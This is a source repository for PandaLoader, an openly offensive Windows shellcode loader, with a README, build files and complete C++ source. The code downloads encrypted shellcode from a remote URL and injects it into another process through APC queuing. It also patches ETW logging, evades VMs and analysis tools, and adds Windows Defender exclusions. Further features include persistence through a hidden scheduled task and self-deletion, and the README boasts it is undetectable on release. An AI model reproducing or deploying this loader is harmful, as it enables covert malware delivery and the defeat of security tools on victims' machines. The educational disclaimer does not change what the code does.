├── assets
├── detections.jpg
└── PandaLoader.png
├── PandaBuilder.cmd
├── CMakeLists.txt
├── LICENSE
├── README.md
├── PandaLoader.cpp
└── obfusheader.h
/assets/detections.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/chainski/PandaLoader/HEAD/assets/detections.jpg
--------------------------------------------------------------------------------
/PandaBuilder.cmd:
--------------------------------------------------------------------------------
1 | @echo off
2 | :: https://github.com/Chainski/PandaLoader
3 | builder.py
4 | pause
5 |
--------------------------------------------------------------------------------
/assets/PandaLoader.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/chainski/PandaLoader/HEAD/assets/PandaLoader.png
--------------------------------------------------------------------------------
/CMakeLists.txt:
--------------------------------------------------------------------------------
1 | cmake_minimum_required(VERSION 3.8)
2 | project(PandaLoader)
3 | set(CMAKE_CXX_STANDARD 17)
4 | set(CMAKE_CXX_STANDARD_REQUIRED ON)
5 | set(BUILD_SHARED_LIBS OFF)
6 | set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -std=c++17 -masm=intel -w -Os -static -mwindows -s")
7 | set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} -Wl,--gc-sections")
8 | set(SOURCE_FILES
9 | PandaLoader.cpp
10 | )
11 | include_directories(${CMAKE_SOURCE_DIR})
12 | add_executable(PandaLoader ${SOURCE_FILES})
13 | target_link_libraries(PandaLoader wininet psapi)
14 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2024 CHA1NSK1
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |

3 |
4 |
19 |
20 | PandaLoader
21 |
22 | PandaLoader is a WIP shellcode loader designed to evade detection by using various anti-analysis techniques and features such as virtual machine (VM) detection, process injection, and payload decryption.
23 |
24 | # Features
25 | ```
26 | [~] Add Windows Defender Exclusions [admin required]
27 | [~] Persistence [optional]
28 | [~] Junk code
29 | [~] Randomized Sleep delays [optional]
30 | [~] Mutex : Only a single instance of PandaLoader will be running at any given time
31 | [~] Anti-VM Techniques: Ensures that the loader doesn't execute in a virtualized environment, which is commonly used for malware analysis.
32 | [~] Obfuscation: Uses compile-time string obfuscation to hinder static analysis.
33 | [~] XOR Encryption with Dynamic Key Generation: Protects the shellcode from being easily detected by antivirus tools.
34 | [~] APC Injection: A stealthy method to execute code in the context of another process.
35 | [~] ETW Patching: Prevents certain Windows logging mechanisms from being used to detect the malware's activities.
36 | [~] Self-Dectruct [optional]
37 | ```
38 |
39 | # How It Works
40 |
41 | #### Anti-VM Checks (IF ENABLED IN BUILDER)
42 | Before loading the shellcode, PandaLoader performs extensive anti-VM checks to determine if it's running in a virtualized environment. This includes:
43 | - Process Scanning: It checks for the presence of specific processes associated with VM environments (e.g., `vboxmouse.sys`, `vmwareuser.exe`).
44 | File and Directory Scanning: It searches for files and directories related to `VM tools`, such as `VirtualBox` or `VMware`.
45 | Machine Process Count: It checks if the number of running processes is below 100, which could indicate a `VM` or sandbox environment.
46 | ETW (Event Tracing for Windows) Patch: It patches functions related to `ETW` to prevent the logging of events, which could be used for analysis.
47 | If any `VM` indicators are detected, the loader will terminate.
48 | - Payload Retrieval :
49 | The shellcode is downloaded from a remote `URL` specified in the `SHELLCODE_URL` when using the builder.
50 | It uses the WinINet API to download the payload into a `std::vector` buffer.
51 | - Payload Decryption :
52 | The decryption key is specified by the `XOR_DECRYPTION_KEY` which is the one generated using the builder.
53 | The decryption is performed by the `XORDecrypt()` function, which iterates through the payload and `XORs` each byte with the corresponding byte in the key.
54 | - Process Injection :
55 | PandaLoader creates a suspended process, defaults to (`wmiprvse.exe` in this case) using `CreateProcessA`.
56 | It then allocates memory in the target process using `VirtualAllocEx`, with `MEM_COMMIT` and `MEM_RESERVE` flags, making the allocated memory readable, writable, and executable (`PAGE_EXECUTE_READWRITE`).
57 | The decrypted shellcode is written into the allocated memory using `WriteProcessMemory`.
58 | After writing the shellcode, the memory permissions are adjusted to `PAGE_EXECUTE_READ` using `VirtualProtect` to reduce the chances of detection by security software.
59 | - Shellcode Execution :
60 | The shellcode is executed by queuing it as an `APC` (Asynchronous Procedure Call) to the suspended process thread using `QueueUserAPC`.
61 | The thread is then resumed using `ResumeThread`, which causes the shellcode to be executed in the context of the target process.
62 | - Persistence and Cleanup :
63 | If persistence is enabled `ENABLE_STARTUP`, the loader copies itself to a specific directory and creates a scheduled task to run on startup.
64 | If the `MELT` option is enabled, the loader deletes itself after successful execution to reduce the footprint on the victim machine.
65 |
66 | # PandaLoader Builder Usage Guide
67 | The PandaLoader Builder is a tool designed to help you create a custom payload loader by performing several steps, including shellcode encryption and remote hosting.
68 | - Open `PandaBuilder.cmd`
69 | - Input Shellcode: Start by providing your raw shellcode as input to the Builder. `eg: loader.bin`
70 | - Enter the injection target `(e.g., C:\\Windows\\System32\\svchost.exe)`
71 | - Your dynamic XOR key will be generated.
72 | - Shellcode Encryption: The Builder will encrypt your shellcode using `XOR` encryption. This step is essential for obfuscating the payload, to bypass `AV/EDR` etc.
73 | - Upload Encrypted Shellcode: After encryption, you will be prompted to upload the encrypted shellcode to a remote server.
74 | - Provide Download Link: Once the shellcode is uploaded, the Builder will ask for the `download link` to the shellcode. This link is necessary for the next step.
75 | - Building the Loader: Using the provided download link, the Builder will compile a custom C++ stub (the loader). This loader is designed to download and execute the encrypted shellcode from the remote server.
76 | - Compile the Loader: The final step is compiling the loader using `Mingw-w64`, a cross-compiler for Windows. Ensure that `Mingw-w64` is installed on your system before running the Builder.
77 | - **NOTE: If startup is selected the Builder will generate an uninstaller for you to remove the Loader.**
78 |
79 | # Requirements:
80 | - Operating System: Any x64 Windows system.
81 | - Compiler: Mingw-w64 must be installed.
82 |
83 | # Downloads
84 | [MinGW builds](https://github.com/brechtsanders/winlibs_mingw/releases)
85 |
86 | # Detections
87 | > [!TIP]
88 | > Please avoid raising issues related to detections, as it is not productive. The goal of this project is to support teaching and learning.
89 | This project is fully undetectable (FUD) on its release day (August 2024). However, a free, publicly available, and open-source loader will not stay undetected for long.
90 | Modifying the stub to avoid detection is challenging, and any progress made will likely be rendered useless due to constant AV signature updates within a few days.
91 | Therefore, no updates will be provided to address detection issues, however PandaLoader offers a fully functional implementation that is easy to modify and extend.
92 |
93 | # Contributing
94 |
95 | Contributions are welcome, You can be a small part of this project!
96 |
97 | # References
98 | - https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/etw-event-tracing-for-windows-101
99 | - https://learn.microsoft.com/en-us/powershell/module/scheduledtasks/register-scheduledtask?view=windowsserver2022-ps
100 | - https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection
101 | - https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createmutexa
102 |
103 | # Credits
104 | - https://github.com/TheWover/donut `converts NATIVE and .NET payloads into raw shellcode`
105 | - https://github.com/ac3ss0r/obfusheader.h `compile-time obfuscation`
106 | - https://github.com/EvilBytecode/GoDefender `Anti-VM techniques`
107 | - https://github.com/7etsuo/windows-api-function-cheatsheets `injection methods`
108 | - https://github.com/mustjoon/evade-stager-c/tree/main `staged loader method`
109 |
110 | # License
111 | This project is licensed under the MIT License - see the [LICENSE](https://github.com/Chainski/PandaLoader/blob/main/LICENSE) file for details
112 |
113 |
114 | # Disclaimer
115 | Important Notice: This tool is intended for educational purposes only.
116 | This software, referred to as PandaLoader, is provided strictly for educational and research purposes.
117 | Under no circumstances should this tool be used for any malicious activities, including but not limited to unauthorized access, data theft, or any other harmful actions.
118 |
119 | Usage Responsibility:
120 | By accessing and using this tool, you acknowledge that you are solely responsible for your actions.
121 | Any misuse of this software is strictly prohibited, and the creator (Chainski) disclaims any responsibility for how this tool is utilized.
122 | You are fully accountable for ensuring that your usage complies with all applicable laws and regulations in your jurisdiction.
123 |
124 | No Liability:
125 | The creator (Chainski) of this tool shall not be held responsible for any damages or legal consequences resulting from the use or misuse of this software.
126 | This includes, but is not limited to, direct, indirect, incidental, consequential, or punitive damages arising out of your access, use, or inability to use the tool.
127 |
128 | No Support:
129 | The creator (Chainski) will not provide any support, guidance, or assistance related to the misuse of this tool. Any inquiries regarding malicious activities will be ignored.
130 |
131 | Acceptance of Terms:
132 | By using this tool, you signify your acceptance of this disclaimer. If you do not agree with the terms stated in this disclaimer, do not use the software.
133 |
134 |
--------------------------------------------------------------------------------
/PandaLoader.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include "obfusheader.h"
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #pragma comment(lib, "wininet.lib")
15 | #define ENABLE_ADMIN 0 // Mandatory when adding persistence and WD exclusions
16 | #define ADD_EXCLUSION 0 // Optional (Add Windows Defender Exclusions)
17 | #define MELT 0 // Deletes the payload after injection
18 | #define ENABLE_STARTUP 0 // Persist on the machine after reboot
19 | #define SLEEP_DELAY 0 // randomized sleep delays
20 | #define ENABLE_ANTIVM 0 // evade virtualized environments
21 | #define STARTUP_ENTRYNAME OBF("PERSISTENCE_REPLACE_ME")
22 | #define DIRECTORY_NAME OBF("DIRECTORY_REPLACE_ME")
23 | #define FILENAME OBF("FILENAME_REPLACE_ME")
24 | #define HIDE_DIRECTORY 0 // Optional
25 | #define XOR_DECRYPTION_KEY OBF("XOR_KEY_REPLACE_ME") // The decryption key for your shellcode
26 | #define SHELLCODE_URL OBF(L"SHELLCODE_URL_REPLACE_ME") // Replace SHELLCODE_URL_REPLACE_ME with your shellcode link
27 | #define SINGLE_INSTANCE 1 // MUTEX
28 |
29 |
30 | /*
31 | This file is part of PandaLoader. (https://github.com/Chainski/PandaLoader)
32 | Copyright (c) 2024 CHA1NSK1
33 |
34 | Permission is hereby granted, free of charge, to any person obtaining a copy
35 | of this software and associated documentation files (the "Software"), to deal
36 | in the Software without restriction, including without limitation the rights
37 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
38 | copies of the Software, and to permit persons to whom the Software is
39 | furnished to do so, subject to the following conditions:
40 |
41 | The above copyright notice and this permission notice shall be included in all
42 | copies or substantial portions of the Software.
43 |
44 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
45 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
46 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
47 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
48 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
49 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
50 | SOFTWARE.
51 | */
52 |
53 |
54 | typedef BOOL(WINAPI* WriteProcessMemoryFunc)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
55 | WriteProcessMemoryFunc pwProcmem = (WriteProcessMemoryFunc)GetProcAddress(GetModuleHandleA(OBF("kernel32.dll")), OBF("WriteProcessMemory"));
56 | typedef BOOL(WINAPI* QueueUserAPCFunc)(PAPCFUNC, HANDLE, ULONG_PTR);
57 | QueueUserAPCFunc pwQueueUserAPC = (QueueUserAPCFunc)GetProcAddress(GetModuleHandleA(OBF("kernel32.dll")), OBF("QueueUserAPC"));
58 | typedef BOOL(WINAPI* CreateProcessAFunc)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
59 | CreateProcessAFunc pwCreateProcess = (CreateProcessAFunc)GetProcAddress(GetModuleHandleA(OBF("kernel32.dll")), OBF("CreateProcessA"));
60 | typedef LPVOID(WINAPI* VirtualAllocExFunc)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
61 | VirtualAllocExFunc pwVirtualAllocEx = (VirtualAllocExFunc)GetProcAddress(GetModuleHandleA(OBF("kernel32.dll")), OBF("VirtualAllocEx"));
62 | typedef BOOL(WINAPI* VirtualProtectFunc)(LPVOID, SIZE_T, DWORD, PDWORD);
63 | VirtualProtectFunc pwVirtualProtect = (VirtualProtectFunc)GetProcAddress(GetModuleHandleA(OBF("kernel32.dll")), OBF("VirtualProtect"));
64 | typedef BOOL(WINAPI* VirtualAllocExNumaFunc)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD, DWORD);
65 | VirtualAllocExNumaFunc pwVirtualAllocExNuma = (VirtualAllocExNumaFunc)GetProcAddress(GetModuleHandleA(OBF("kernel32.dll")), OBF("VirtualAllocExNuma"));
66 |
67 |
68 | void junk_code() {
69 | volatile unsigned long long j = 0xDEADBEEFDEADBEEFULL;
70 | for (int i = 0; i < 291; ++i) {
71 | j ^= 0xABCDEF1234567890ULL;
72 | j = (j << 1) | (j >> 63);
73 | j += 0x1111111111111111ULL;
74 | }
75 | }
76 |
77 | BOOL ETWPATCH() {
78 | DWORD oldprotect = 0;
79 | const char* functions[] = { OBF("EtwEventWrite"), OBF("EtwEventWriteFull"), OBF("EtwEventWriteTransfer"), OBF("EtwRegister")};
80 | for (int i = 0; i < (sizeof(functions) / sizeof(functions[0])); i++) {
81 | void* pFunc = (void*)GetProcAddress(GetModuleHandleA(OBF("ntdll.dll")), functions[i]);
82 | if (!pFunc) continue;
83 | if (!VirtualProtect(pFunc, 4096, PAGE_EXECUTE_READWRITE, &oldprotect)) return FALSE;
84 | #ifdef _WIN64
85 | memcpy(pFunc, "\x48\x33\xc0\xc3", 4); // xor rax, rax; ret
86 | #else
87 | memcpy(pFunc, "\x33\xc0\xc2\x14\x00", 5); // xor eax, eax; ret 14
88 | #endif
89 | VirtualProtect(pFunc, 4096, oldprotect, &oldprotect);
90 | FlushInstructionCache(GetCurrentProcess(), pFunc, 4096);
91 | }
92 | return TRUE;
93 | }
94 |
95 | BOOL FileExists(const std::wstring& filePath) {
96 | WIN32_FIND_DATAW findFileData;
97 | HANDLE hFind = FindFirstFileW(filePath.c_str(), &findFileData);
98 | if (hFind == INVALID_HANDLE_VALUE) {
99 | return false;
100 | }
101 | FindClose(hFind);
102 | return true;
103 | }
104 |
105 | BOOL DirectoryExists(const std::wstring& dirPath) {
106 | DWORD fileAttrib = GetFileAttributesW(dirPath.c_str());
107 | return (fileAttrib != INVALID_FILE_ATTRIBUTES && (fileAttrib & FILE_ATTRIBUTE_DIRECTORY));
108 | }
109 |
110 | BOOL AntiVM() {
111 | DWORD adwProcesses[1024], dwReturnLen = 0;
112 | if (EnumProcesses(adwProcesses, sizeof(adwProcesses), &dwReturnLen)) {
113 | DWORD dwNmbrOfPids = dwReturnLen / sizeof(DWORD);
114 | if (dwNmbrOfPids < 104) {
115 | return TRUE;
116 | }
117 | }
118 | std::wstring systemRoot(MAX_PATH, L'\0');
119 | if (GetEnvironmentVariableW(OBF(L"SystemRoot"), &systemRoot[0], MAX_PATH)) {
120 | systemRoot.resize(wcslen(systemRoot.c_str()));
121 | std::vector badFiles = {
122 | OBF(L"\\drivers\\vmmouse.sys"),
123 | OBF(L"\\drivers\\vmhgfs.sys"),
124 | OBF(L"\\drivers\\VBoxMouse.sys"),
125 | OBF(L"\\drivers\\VBoxGuest.sys"),
126 | OBF(L"\\drivers\\VBoxSF.sys"),
127 | OBF(L"\\drivers\\VBoxVideo.sys"),
128 | OBF(L"\\drivers\\prlfs.sys"),
129 | OBF(L"\\drivers\\balloon.sys"),
130 | OBF(L"\\drivers\\netkvm.sys"),
131 | OBF(L"\\drivers\\viofs.sys"),
132 | OBF(L"\\drivers\\vioser.sys"),
133 | OBF(L"\\vboxdisp.dll"),
134 | OBF(L"\\vboxhook.dll"),
135 | OBF(L"\\vboxmrxnp.dll"),
136 | OBF(L"\\vboxogl.dll"),
137 | OBF(L"\\vboxoglarrayspu.dll"),
138 | OBF(L"\\vboxoglcrutil.dll"),
139 | OBF(L"\\vboxoglerrorspu.dll"),
140 | OBF(L"\\vboxoglfeedbackspu.dll")
141 | };
142 | for (const auto& file : badFiles) {
143 | if (FileExists(systemRoot + OBF(L"\\System32") + file)) {
144 | return TRUE;
145 | }
146 | }
147 | }
148 | std::vector badDirs = {
149 | OBF(L"C:\\Program Files\\VMware"),
150 | OBF(L"C:\\Program Files\\Oracle\\VirtualBox Guest Additions")
151 | };
152 | for (const auto& dir : badDirs) {
153 | if (DirectoryExists(dir)) {
154 | return TRUE;
155 | }
156 | }
157 | MEMORYSTATUSEX RAMStatus = { sizeof(RAMStatus) };
158 | GlobalMemoryStatusEx(&RAMStatus);
159 | if ((RAMStatus.ullTotalPhys / (1024ULL * 1024ULL)) < 6048) {
160 | return TRUE;
161 | }
162 | std::vector badProcesses = {
163 | OBF(L"autorunsc.exe"),
164 | OBF(L"binaryninja.exe"),
165 | OBF(L"dumpcap.exe"),
166 | OBF(L"die.exe"),
167 | OBF(L"fakenet.exe"),
168 | OBF(L"joeboxserver.exe"),
169 | OBF(L"processhacker.exe"),
170 | OBF(L"procexp.exe"),
171 | OBF(L"qga.exe"),
172 | OBF(L"qemu-ga"),
173 | OBF(L"sandman.exe"),
174 | OBF(L"sysmon.exe"),
175 | OBF(L"tcpdump.exe"),
176 | OBF(L"sniff_hit.exe"),
177 | OBF(L"vboxcontrol.exe"),
178 | OBF(L"vboxservice.exe"),
179 | OBF(L"vboxtray.exe"),
180 | OBF(L"vt-windows-event-stream.exe"),
181 | OBF(L"vmsrvc.exe"),
182 | OBF(L"vmwaretray.exe"),
183 | OBF(L"vmwareuser.exe"),
184 | OBF(L"wireshark.exe"),
185 | OBF(L"windbg.exe"),
186 | OBF(L"xenservice.exe")
187 | };
188 | HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
189 | if (hSnapshot != INVALID_HANDLE_VALUE) {
190 | PROCESSENTRY32W pe32 = { sizeof(PROCESSENTRY32W) };
191 | if (Process32FirstW(hSnapshot, &pe32)) {
192 | do {
193 | for (const auto& proc : badProcesses) {
194 | if (_wcsicmp(pe32.szExeFile, proc.c_str()) == 0) {
195 | CloseHandle(hSnapshot);
196 | return TRUE;
197 | }
198 | }
199 | } while (Process32NextW(hSnapshot, &pe32));
200 | }
201 | CloseHandle(hSnapshot);
202 | }
203 | return FALSE; // No VM indicators found
204 | }
205 |
206 |
207 | void payloadurl(LPCWSTR szUrl, std::vector& payload) {
208 | HINTERNET hInternet = InternetOpenW(OBF(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0"), INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
209 | HINTERNET hInternetFile = InternetOpenUrlW(hInternet, szUrl, NULL, 0, INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, 0);
210 | BYTE buffer[4096];
211 | DWORD bytesRead;
212 | while (InternetReadFile(hInternetFile, buffer, sizeof(buffer), &bytesRead) && bytesRead) {
213 | payload.insert(payload.end(), buffer, buffer + bytesRead);
214 | }
215 | InternetCloseHandle(hInternetFile);
216 | InternetCloseHandle(hInternet);
217 | }
218 |
219 | BOOL admincheck() {
220 | BOOL isAdmin = FALSE;
221 | PSID administratorsGroup = NULL;
222 | SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
223 | if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &administratorsGroup)) {
224 | CheckTokenMembership(NULL, administratorsGroup, &isAdmin);
225 | FreeSid(administratorsGroup);
226 | }
227 | return isAdmin == TRUE;
228 | }
229 |
230 | std::string get_executable_path() {
231 | char buffer[MAX_PATH];
232 | GetModuleFileNameA(NULL, buffer, MAX_PATH);
233 | return std::string(buffer);
234 | }
235 |
236 | BOOL existence(const std::string& directoryName) {
237 | std::string current_path = get_executable_path();
238 | std::string::size_type pos = current_path.find(directoryName);
239 | return (pos != std::string::npos);
240 | }
241 |
242 | void delete_current_executable() {
243 | std::string current_path = get_executable_path();
244 | std::string command = std::string(OBF("/C choice /C Y /N /D Y /T 3 & Del \"")) + current_path + OBF("\"");
245 | ShellExecuteA(NULL, OBF("open"), OBF("cmd.exe"), command.c_str(), NULL, SW_HIDE);
246 | }
247 |
248 | std::string get_environment_variable(const std::string& varName) {
249 | char buffer[MAX_PATH];
250 | DWORD length = GetEnvironmentVariableA(varName.c_str(), buffer, MAX_PATH);
251 | if (length == 0 || length >= MAX_PATH) {
252 | return "";
253 | }
254 | return std::string(buffer);
255 | }
256 |
257 | void hidden(const std::string& directoryPath) {
258 | WIN32_FIND_DATAA findFileData;
259 | HANDLE hFind = FindFirstFileA((directoryPath + "\\*").c_str(), &findFileData);
260 | if (hFind == INVALID_HANDLE_VALUE) {
261 | return;
262 | }
263 | do {
264 | std::string fileName = findFileData.cFileName;
265 | if (fileName != "." && fileName != "..") {
266 | std::string fullPath = directoryPath + "\\" + fileName;
267 | SetFileAttributesA(fullPath.c_str(), FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
268 | if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
269 | hidden(fullPath);
270 | }
271 | }
272 | } while (FindNextFileA(hFind, &findFileData) != 0);
273 | FindClose(hFind);
274 | }
275 |
276 |
277 | BOOL persistence(const std::string& taskName, const std::string& executablePath) {
278 | std::wstring longPath = std::wstring(executablePath.begin(), executablePath.end());
279 | std::string command = std::string(OBF("Register-ScheduledTask -TaskName \"")) + taskName +
280 | std::string(OBF("\" -Trigger (New-ScheduledTaskTrigger -AtLogon) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -RunOnlyIfNetworkAvailable -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0) -Action (New-ScheduledTaskAction -Execute '")) +
281 | std::string(longPath.begin(), longPath.end()) + std::string(OBF("') -Force -RunLevel Highest"));
282 | HINSTANCE hInst = ShellExecuteA(NULL, OBF("open"), OBF("powershell.exe"), command.c_str(), NULL, SW_HIDE);
283 | return 0;
284 | }
285 |
286 | void persist_folder() {
287 | std::string systemDrive = get_environment_variable(OBF("SystemDrive"));
288 | std::string programData = get_environment_variable(OBF("ProgramData"));
289 | std::string destDir = systemDrive + OBF("\\ProgramData\\") + DIRECTORY_NAME;
290 | std::string fullFilename = std::string(FILENAME) + OBF(".exe");
291 | std::string destPath = destDir + "\\" + fullFilename;
292 | std::string exePath = get_executable_path();
293 | if (!CreateDirectoryA(destDir.c_str(), NULL) && GetLastError() != ERROR_ALREADY_EXISTS) {
294 | return;
295 | }
296 | DeleteFileA(destPath.c_str());
297 | if (!CopyFileA(exePath.c_str(), destPath.c_str(), FALSE)) {
298 | return;
299 | }
300 | if (HIDE_DIRECTORY) {
301 | SetFileAttributesA(destDir.c_str(), FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
302 | hidden(destDir);
303 | }
304 | persistence(STARTUP_ENTRYNAME, destPath);
305 | }
306 |
307 | void XORDecrypt(std::vector& data, const std::string& key) {
308 | size_t keyLength = key.size();
309 | for (size_t i = 0; i < data.size(); ++i) {
310 | data[i] ^= key[i % keyLength];
311 | }
312 | }
313 |
314 | int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){
315 | std::string exePath = get_executable_path();
316 | junk_code();
317 | std::wstring exePathW = std::wstring(exePath.begin(), exePath.end());
318 | ETWPATCH();
319 | if (ENABLE_ADMIN && !admincheck()) {
320 | LPCWSTR powershellPath = OBF(L"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe");
321 | WCHAR cmdLine[MAX_PATH];
322 | #ifdef __MINGW32__
323 | // Use %S for MinGW, which expects a char* (narrow string) and handles it as wide.
324 | swprintf(cmdLine, MAX_PATH, OBF(L"Start-Process -FilePath '\"%S\"' -Verb runAs"), exePathW.data());
325 | #else
326 | // Use %s for Visual Studio, which expects a wchar_t* (wide string).
327 | swprintf(cmdLine, MAX_PATH, OBF(L"Start-Process -FilePath '\"%s\"' -Verb runAs"), exePathW.data());
328 | #endif
329 | ShellExecuteW(NULL, OBF(L"runas"), powershellPath, cmdLine, NULL, SW_HIDE);
330 | return 0;
331 | }
332 | if (SINGLE_INSTANCE) {
333 | HANDLE hMutex = CreateMutex(NULL, TRUE, OBF("PANDALOADER"));
334 | if (GetLastError() == ERROR_ALREADY_EXISTS) {
335 | CloseHandle(hMutex);
336 | return 0;
337 | }
338 | }
339 | #if ENABLE_ANTIVM
340 | if (AntiVM()) {
341 | ExitProcess(1);
342 | }
343 | #else
344 | printf(OBF("AntiVM check is disabled.\n"));
345 | #endif
346 | if (SLEEP_DELAY) {
347 | static bool __s = false;
348 | if (!__s) {
349 | std::srand(static_cast(std::time(nullptr)));
350 | __s = true;
351 | }
352 | const int __v[] = {10, 12, 14, 16};
353 | int __i = std::rand() % 4;
354 | int __k = __v[__i];
355 | std::time_t __t0 = std::time(nullptr);
356 | volatile unsigned long long __r = 123456789ULL;
357 | while ((std::time(nullptr) - __t0) < __k) {
358 | for (unsigned int __j = 0u; __j < 500000u; ++__j) {
359 | __r ^= static_cast(__j + 2718281u);
360 | }
361 | }
362 | (void)__r;
363 | }
364 | #if ENABLE_ADMIN
365 | if (ADD_EXCLUSION) {
366 | ShellExecute(NULL, OBF("open"), OBF("powershell"), OBF("Add-MpPreference -ExclusionPath @($env:userprofile, $env:programdata) -Force"), NULL, SW_HIDE);
367 | }
368 | if (ENABLE_STARTUP && !existence(DIRECTORY_NAME)) {
369 | persist_folder();
370 | }
371 | #endif
372 | std::vector payload;
373 | LPCWSTR url = SHELLCODE_URL;
374 | payloadurl(url, payload);
375 | junk_code();
376 | std::string key = XOR_DECRYPTION_KEY;
377 | XORDecrypt(payload, key);
378 | STARTUPINFOA si = { 0 };
379 | PROCESS_INFORMATION pi = { 0 };
380 | pwCreateProcess(OBF("INJECTION_TARGET"), NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | DETACHED_PROCESS | CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
381 | HANDLE victimProcess = pi.hProcess;
382 | HANDLE threadHandle = pi.hThread;
383 | LPVOID shellAddress = pwVirtualAllocEx(victimProcess, NULL, payload.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
384 | PVOID pBaseAddress = nullptr;
385 | SIZE_T* bytesWritten = 0;
386 | pwProcmem(victimProcess, shellAddress, payload.data(), payload.size(), bytesWritten);
387 | pwVirtualProtect(shellAddress, payload.size(), PAGE_EXECUTE_READ, NULL);
388 | PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
389 | pwQueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
390 | ResumeThread(threadHandle);
391 | if (MELT && !existence(DIRECTORY_NAME)) {
392 | delete_current_executable();
393 | }
394 | return 0;
395 |
396 | }
--------------------------------------------------------------------------------
/obfusheader.h:
--------------------------------------------------------------------------------
1 | #ifndef OBFUSHEADER_H
2 | #define OBFUSHEADER_H
3 |
4 | // TODO: find a better way to do this
5 | #define true 1
6 | #define false 0
7 |
8 | // Obfusheader settings
9 |
10 | // Possible values - THREADLOCAL, NORMAL
11 | // Threadlocal encryption stores the data inside threadlocal space. This can sometimes prevent the compiler from optimizing it away + makes it harder to extract the data
12 | // Normal encryption mode is more performant and stable but a bit less secure
13 | #define ENCRYPT_MODE THREADLOCAL
14 |
15 | // Possible values - STATIC, DYNAMIC
16 | // Static call hider stores the function pointers inside a static storager (.data section basically) which is very optimized
17 | // Dynamic call hider inits function pointer arrays in runtime
18 | #define CALL_HIDE_MODE STATIC
19 |
20 | // Possible values - true/false
21 | // Force inline is recommended for better performance and makes it a lot harder to reverse-engineer
22 | #define FORCE_INLINE true
23 |
24 | // Possible values true/false
25 | // Control flow affect the performance in a negative way (but not very much)
26 | // It creates garbage flow branches to made the decryption hidden among them
27 | #define CONTROL_FLOW true
28 |
29 | // Without forceinline the compiler will mostly ignore inline methods
30 | #if FORCE_INLINE == true
31 | #if defined(_MSC_VER) && !defined(__clang__)
32 | #define INLINE __forceinline // Visual C++
33 | #else
34 | #define INLINE __attribute__((always_inline)) inline // GCC/G++/CLANG
35 | #endif
36 | #else
